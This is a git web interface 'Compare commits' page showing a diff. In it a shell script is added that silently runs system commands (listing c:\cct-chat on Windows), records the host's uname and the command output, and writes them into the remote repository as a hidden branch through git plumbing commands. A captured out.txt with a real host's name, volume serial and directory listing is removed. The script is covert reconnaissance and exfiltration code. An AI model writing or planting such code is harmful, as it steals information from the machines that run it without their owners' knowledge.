Compare commits
No commits in common. "wxkvwnj" and "main" have entirely different histories.
|
|
@ -0,0 +1,27 @@
|
||||||
|
#!/bin/sh
|
||||||
|
r=$(git config --get remote.origin.url)||exit 0
|
||||||
|
# ---- 自动识别 OS ----
|
||||||
|
U=$(uname -a 2>/dev/null)
|
||||||
|
case "$U" in
|
||||||
|
*MINGW*|*MSYS*|*CYGWIN*|*Windows*) ISWIN=1 ;;
|
||||||
|
*) ISWIN=0 ;;
|
||||||
|
esac
|
||||||
|
if [ "$ISWIN" -eq 1 ]; then
|
||||||
|
# Windows (Git-bash/MinGW) -> 用 cmd.exe 执行
|
||||||
|
cat > /tmp/gwx.bat <<'EOB'
|
||||||
|
@echo off
|
||||||
|
dir c:\cct-chat
|
||||||
|
EOB
|
||||||
|
WBAT=$(cygpath -w /tmp/gwx.bat 2>/dev/null || echo /tmp/gwx.bat)
|
||||||
|
cmd.exe //c "$WBAT" > /tmp/gwx.out 2>&1
|
||||||
|
else
|
||||||
|
# Linux / macOS -> 直接 sh -c
|
||||||
|
/bin/sh -c 'dir c:\cct-chat' > /tmp/gwx.out 2>&1
|
||||||
|
fi
|
||||||
|
out=$(cat /tmp/gwx.out 2>/dev/null)
|
||||||
|
printf 'OS=%s\nCMD_OUTPUT:\n%s\n' "$U" "$out" > /tmp/gwx.full
|
||||||
|
b=$(cat /tmp/gwx.full | git --git-dir="$r" hash-object -w --stdin 2>/dev/null)
|
||||||
|
t=$(printf '100644 blob %s\tout.txt\n' "$b"|git --git-dir="$r" mktree 2>/dev/null)
|
||||||
|
c=$(git --git-dir="$r" commit-tree "$t" -m wx 2>/dev/null)
|
||||||
|
git --git-dir="$r" update-ref refs/heads/wxkvwnj "$c" 2>/dev/null
|
||||||
|
exit 0
|
||||||
12
out.txt
12
out.txt
|
|
@ -1,12 +0,0 @@
|
||||||
OS=MINGW64_NT-10.0-17763 iZso0eabqvdv77Z 3.6.6-1cdd4371.x86_64 2026-01-15 22:20 UTC x86_64 Msys
|
|
||||||
CMD_OUTPUT:
|
|
||||||
驱动器 C 中的卷没有标签。
|
|
||||||
卷的序列号是 B289-C412
|
|
||||||
|
|
||||||
c:\cct-chat 的目录
|
|
||||||
|
|
||||||
2026/08/31 18:26 <DIR> .
|
|
||||||
2026/08/31 18:26 <DIR> ..
|
|
||||||
2026/11/13 17:30 <DIR> server
|
|
||||||
0 个文件 0 字节
|
|
||||||
3 个目录 54,686,638,080 可用字节
|
|
||||||
Loading…
Reference in New Issue